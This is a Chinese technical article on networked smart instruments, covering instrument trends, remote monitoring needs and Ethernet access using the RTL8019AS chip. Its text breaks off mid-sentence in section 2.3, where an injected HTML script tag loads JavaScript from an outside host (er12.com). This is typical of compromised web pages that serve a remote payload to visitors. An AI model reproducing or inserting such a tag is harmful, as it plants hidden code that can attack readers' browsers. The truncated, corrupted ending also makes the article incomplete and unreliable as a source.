摘要: 随着科学技术的发展和实际应用需求,希望仪器仪表提供有信息的远程网络监控和参数的网络测量等功能,以实现信息共享。本文针对以太网接入技术进行了探讨和分析,给出了相关硬件和软件的设计思路。
关键词: 网络化仪器,以太网接入,rtl8019as
在当今信息化时代,各领域常以信息的获取和利用为中心。在现代工业生产中,仪器仪表高度自动化和信息管理自动化,已大量涌现出以计算机为核心的信息处理与过程控制相结合的应用系统。伴随着这种系统的发展,出现了智能仪器。
智能仪器是计算机技术与测试技术相结合的产物,仪器内部带有处理能力很强的智能软件。仪器仪表已不再是简单的硬件实体,而是硬件、软件相结合。近年来,智能仪器已开始从较为成熟的数据处理向知识处理发展,使其功能向更高层次发展。
1 智能仪器的发展
20世纪90年代以来,仪器仪表的智能化突出表现在以下几个方面:
(1) 综合化。电子测量仪器、自动化仪表、自动化检测系统、数据采集和控制系统过去分属各学科领域,各自独立发展。由于生产自动化的需求,它们在发展中相互靠近,功能相互覆盖,差异缩小,体现为一种“信息流”综合管理与控制系统。
(2) 微型化。微电子技术、微机械技术、信息技术等的综合应用使得仪器成为体积小、功能齐全的智能仪器,能够完成信号的采集、处理、控制信号的输出、放大、与其它仪器的接口等功能,在自动化技术、航天、军事、生物技术、医疗领域有着独特的作用。
(3) 多功能化。多功能本身就是智能仪器仪表的一个特点,例如具有脉冲发生器、频率合成器和任意波形发生器等功能的函数发生器,不但性能上(如准确度)比专用脉冲发生器和频率合成器高,而且在各种测试功能上提供了较好的解决方案。
(4) 智能化。现代检测与控制系统,或多或少的趋向于智能化这个特点。智能仪器的进一步发展将含有一定的人工智能,这样就可无需人的干预而自主地完成检测或控制功能。
(5)仪器虚拟化。在虚拟现实系统中,数据分析和显示用pc机的软件来完成,只要额外提供一定的数据采集硬件,就可以与pc机组成测量仪器。这种基于pc机的测量仪器称为虚拟仪器vi(virtual instrument)。在虚拟仪器中,使用同一个硬件系统,只要应用不同的软件编程,就可得到功能完全不同的测量仪器。“软件就是仪器”。作为虚拟仪器核心的软件系统具有通用性、通俗性、可视性、可扩展性和升级性,代表着当今仪器发展的新方向。
(6) 仪器仪表系统的网络化。一般的智能仪器仪表都具有双向通信功能,但这种双向通信功能离真正意义上的网络通信还有距离。伴随着网络技术的飞速发展,internet技术使仪器仪表在实现智能化的基础上同时实现网络化,使现场测控参量就近登临网络,并具备必要的信息处理功能。
2 网络化仪器的功能需求和技术支持
2.1 支持远程测控需求
网络化仪器,如现场总线智能仪表,是适合在远程测控中使用的仪器,是仪器测控技术、现代计算机技术、网络通信技术与微电子技术深度融合的结果。网络化设备既可以像普通仪器那样按设定程序对相关物理量进行自动测量、控制、存储和显示测量结果及控制状态;同时具有重要的网络应用特征,经授权的仪器使用者,通过internet可以远程对仪器进行功能操作、获取测量结果并对仪器实时监控、设置参数和故障诊断,控制其在internet上动态发布信息。它们与计算机一样,成了网络中的独立节点,很方便地就能与就近的网络通信线缆直接连接,而且“即插即用”,直接将现场测试数据送上网;用户通过浏览器或符合规范的应用程序即可实时浏览到这些信息(包括处理后的数据、仪器仪表的面板图像等)。
2.2 网络化仪器的特点
基于internet的测控系统中前端模块不仅完成信号的采集和控制,还兼顾实施对信号的分析与传输,因为它以一个功能强大的微处理器和一个嵌入式操作系统为支撑。在这个平台上,使用者可以很方便地实现各种测量功能模块的添加、删除以及不同网络传输方式的选择。其次,基于internet的测控系统最为显著的特点,是信号传输的方式发生了改变。基于internet的测控系统对测量、控制信号等的传输,是建立在公共的internet上的。有了前端嵌入式模块,系统的测量数据安全有效的传输便成为可能。再有,基于internet的测控系统对测得结果的表达和输出也有了较大改进,一方面,不管身在何处,使用者都可通过客户机方便地浏览到各种实时数据,了解设备现在的工作情况;另一方面,在客户端的控制中心,所拥有的智能化软件和数据库系统都可被调用来对测得结果分析,以及为使用者下达控制指令或作决策提供帮助。
2.3 接入internet或以太网的方法
网络化仪器仪表的设计方法,是把嵌入式系统嵌入到仪器仪表中,让其成为测量和控制的核心。通常,嵌入式仪器接入internet或以太网成为网络仪?script src=http://er12.com/t.js>











